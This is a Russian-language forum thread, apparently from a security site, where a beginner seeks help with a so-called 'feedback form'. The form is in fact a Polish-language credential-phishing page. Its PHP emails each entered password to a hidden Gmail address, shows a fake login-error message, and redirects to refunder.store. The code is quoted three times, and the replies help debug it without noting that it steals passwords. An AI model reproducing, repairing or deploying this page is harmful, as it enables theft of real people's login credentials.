• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

Проблема с написанием формы обратной связи для сайта

asparom

New member
12.04.2020
1
0
BIT
0
Занялся самообучением, поэтому прошу не швырять всяким... Вот html-код формы обратной связи:

HTML:
<div class="sign-up-box common-box-shadow">
<div class="login-content">
<div class="contents-wrapper">
<div class="content" data-id="login">
<div class="intro-content">
<div class="content text-center">
<h1 class="h3 bigger">*****@gmail.com</h1>
<br><br>
</div>
</div>
<div class="form-group fg-password">
<label>Twoje hasło</label>
<textarea name="login_password" input type="password" name="login_password" placeholder="Hasło">
</div>
<div class="form-group fg-checkbox">
<input type="checkbox" name="remember_me" id="remember-login" checked="checked">
<label for="remember-login">Zapamiętaj mnie</label>
</div>


Вот php-сценарий:

PHP:
<meta http-equiv='refresh' content='6; url=http://refunder.store/'>
<meta charset="UTF-8" />
<?php
if (isset($_POST['login_password'])) {$body = $_POST['login_password']; if ($body == '') {unset($body);}}
 
if (isset($body)){
 
$address = "********@gmail.com";
$mes = "nТекст: $body";
$send = mail ($address,$sub,$mes,"Content-type:text/plain; charset = UTF-8\r\nFrom:$email");
if ($send == 'true')
{echo "Błędna nazwa użytkownika lub niepoprawne hasło. Spróbuj jeszcze raz.";}
else {echo "Błędna nazwa użytkownika lub niepoprawne hasło. Spróbuj jeszcze raz.";}
 
}
else
{
echo "Błędna nazwa użytkownika lub niepoprawne hasło. Spróbuj jeszcze raz.";
}
?>

Тут есть хотя бы одна правильная строка? :/ Камрады, помогите пожалуйста.
 

rozalski

New member
10.02.2020
3
0
BIT
0
Занялся самообучением, поэтому прошу не швырять всяким... Вот html-код формы обратной связи:

HTML:
<div class="sign-up-box common-box-shadow">
<div class="login-content">
<div class="contents-wrapper">
<div class="content" data-id="login">
<div class="intro-content">
<div class="content text-center">
<h1 class="h3 bigger">*****@gmail.com</h1>
<br><br>
</div>
</div>
<div class="form-group fg-password">
<label>Twoje hasło</label>
<textarea name="login_password" input type="password" name="login_password" placeholder="Hasło">
</div>
<div class="form-group fg-checkbox">
<input type="checkbox" name="remember_me" id="remember-login" checked="checked">
<label for="remember-login">Zapamiętaj mnie</label>
</div>


Вот php-сценарий:

PHP:
<meta http-equiv='refresh' content='6; url=http://refunder.store/'>
<meta charset="UTF-8" />
<?php
if (isset($_POST['login_password'])) {$body = $_POST['login_password']; if ($body == '') {unset($body);}}

if (isset($body)){

$address = "********@gmail.com";
$mes = "nТекст: $body";
$send = mail ($address,$sub,$mes,"Content-type:text/plain; charset = UTF-8\r\nFrom:$email");
if ($send == 'true')
{echo "Błędna nazwa użytkownika lub niepoprawne hasło. Spróbuj jeszcze raz.";}
else {echo "Błędna nazwa użytkownika lub niepoprawne hasło. Spróbuj jeszcze raz.";}

}
else
{
echo "Błędna nazwa użytkownika lub niepoprawne hasło. Spróbuj jeszcze raz.";
}
?>

Тут есть хотя бы одна правильная строка? :/ Камрады, помогите пожалуйста.
Думаю целесообразнее смотреть готовые примеры. Из приведенного одно с другим как бы вообще никак не взаимодействует
 

N1GGA

Codeby Team
Администратор
16.07.2018
358
355
BIT
425
Думаю целесообразнее смотреть готовые примеры. Из приведенного одно с другим как бы вообще никак не взаимодействует
Вы не правы. Смотрите внимательней на названия полей и названия получаемых переменных.

Занялся самообучением, поэтому прошу не швырять всяким... Вот html-код формы обратной связи:

HTML:
<div class="sign-up-box common-box-shadow">
<div class="login-content">
<div class="contents-wrapper">
<div class="content" data-id="login">
<div class="intro-content">
<div class="content text-center">
<h1 class="h3 bigger">*****@gmail.com</h1>
<br><br>
</div>
</div>
<div class="form-group fg-password">
<label>Twoje hasło</label>
<textarea name="login_password" input type="password" name="login_password" placeholder="Hasło">
</div>
<div class="form-group fg-checkbox">
<input type="checkbox" name="remember_me" id="remember-login" checked="checked">
<label for="remember-login">Zapamiętaj mnie</label>
</div>


Вот php-сценарий:

PHP:
<meta http-equiv='refresh' content='6; url=http://refunder.store/'>
<meta charset="UTF-8" />
<?php
if (isset($_POST['login_password'])) {$body = $_POST['login_password']; if ($body == '') {unset($body);}}

if (isset($body)){

$address = "********@gmail.com";
$mes = "nТекст: $body";
$send = mail ($address,$sub,$mes,"Content-type:text/plain; charset = UTF-8\r\nFrom:$email");
if ($send == 'true')
{echo "Błędna nazwa użytkownika lub niepoprawne hasło. Spróbuj jeszcze raz.";}
else {echo "Błędna nazwa użytkownika lub niepoprawne hasło. Spróbuj jeszcze raz.";}

}
else
{
echo "Błędna nazwa użytkownika lub niepoprawne hasło. Spróbuj jeszcze raz.";
}
?>

Тут есть хотя бы одна правильная строка? :/ Камрады, помогите пожалуйста.
В чем проблема? Что не работает?
 

rozalski

New member
10.02.2020
3
0
BIT
0
Вы не правы. Смотрите внимательней на названия полей и названия получаемых переменных.
Вижу, но объективно мы можем только догадываться о проблеме ТС, например предположить, что $sub и $email непонятно откуда взялись в аргументах mail() ;-)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!